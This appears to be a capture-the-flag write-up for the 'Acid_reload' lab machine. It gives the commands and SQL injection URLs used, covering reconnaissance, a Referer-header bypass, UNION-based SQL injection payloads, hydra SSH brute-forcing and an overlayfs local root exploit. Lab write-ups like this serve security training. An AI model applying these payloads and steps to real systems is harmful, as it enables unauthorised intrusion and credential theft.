Acid_reload
Tools:
- netdiscover
- Nmap
- Wfuzz
- DirBuster
- Burp
Vulnerabilities:
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.41.0/24
192.168.41.170is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.41.171 -p-
port 22 and 33447 are opening.
Port 33447 is filter, I run nmap again
nmap -sV -v -O -A -T5 192.168.41.171 -p 33447
now I know it is running http service.
use nikto to scan:
nikto -h 192.168.41.171:33447
find a hidden path ‘/bin’
check the page 192.168.41.171:33447/bin
use DirBuster to scan
use Burpsuit to check when I try to get /bin/dashboard.php
it is redirected to /bin/includes/validation.php
. I can use referer bypass
change http request to GET /bin/dashboard.php HTTP/1.1
and referer to Referer: http://192.168.41.171:33447/bin/includes/validation.php
forward the traffic
Bypass successfully.
check the source code
got an link l33t_haxor.php
check the page code
find l33t_haxor.php?id=
looks like sqli
Let’s verify
insert
http://192.168.41.171:33447/bin/l33t_haxor.php?id=1'
easy sqli
http://192.168.41.171:33447/bin/l33t_haxor.php?id=1' and true--+
no output, so, it is bracket enclosed single quote.
now lets check how many columns we need by inserting null
1 2 3 |
|
when there are two ‘null’, no error come back, so the column number is 2.
next check which column holds string value.
http://192.168.41.171:33447/bin/l33t_haxor.php?id=1')union(select('test'),(null)from(information_schema.columns)WHERE'1'='1
no response
http://192.168.41.171:33447/bin/l33t_haxor.php?id=1')union(select(null),('test')from(information_schema.columns)WHERE'1'='1
now we know column holds string value
now get the version
http://192.168.41.171:33447/bin/l33t_haxor.php?id=1')union(select(NULL),(@@VERSION)from(information_schema.columns)WHERE'1'='1
get user,
http://192.168.41.171:33447/bin/l33t_haxor.php?id=1')union(select(NULL),(user())from(information_schema.columns)WHERE'1'='1
get table name
http://192.168.41.171:33447/bin/l33t_haxor.php?id=1')union(select(null),GROUP_CONCAT(DISTINCT(table_schema))from(information_schema.tables)WHERE'a'='a
got four databases information_schema,mysql,performance_schema,secure_login
get table name
http://192.168.41.171:33447/bin/l33t_haxor.php?id=-1')union(select(null),GROUP_CONCAT(DISTINCT(table_name))from(information_schema.columns)WHERE(table_schema)=database()and'test'like'test
wget http://192.168.41.171:33447/UB3R/strcpy.exe
check the file
file strcpy.exe
strcpy.exe: PDF document, version 1.5
. a pdf file in it.
use foremost to recover
foremost strcpy.exe
in folder output
,get a folder called rar and there is a rar file, unzip it , get a file called lol.jpg
try to use foremost on this file, get another rar, unzip it get a file called Avinash.contact
1 2 3 4 |
|
find a base64 encoded AQAAABIAAABOAG8AbwBCAEAAMQAyADMAAAA=
, its NooB@123
create a dict file
1 2 3 4 5 6 7 8 |
|
use hydra to crack
hydra -L dict.txt -P dict.txt 192.168.41.171 ssh -s 22
get login: makke password: NooB@123
find .bash_history
file
find an interesting file overlayfs
locate overlayfs
in /bin
ls -alh overlayfs
-rwxr-xr-x 1 root root 12K Aug 24 2015 overlayfs
which is overlayfs local root exploit file
run it get the root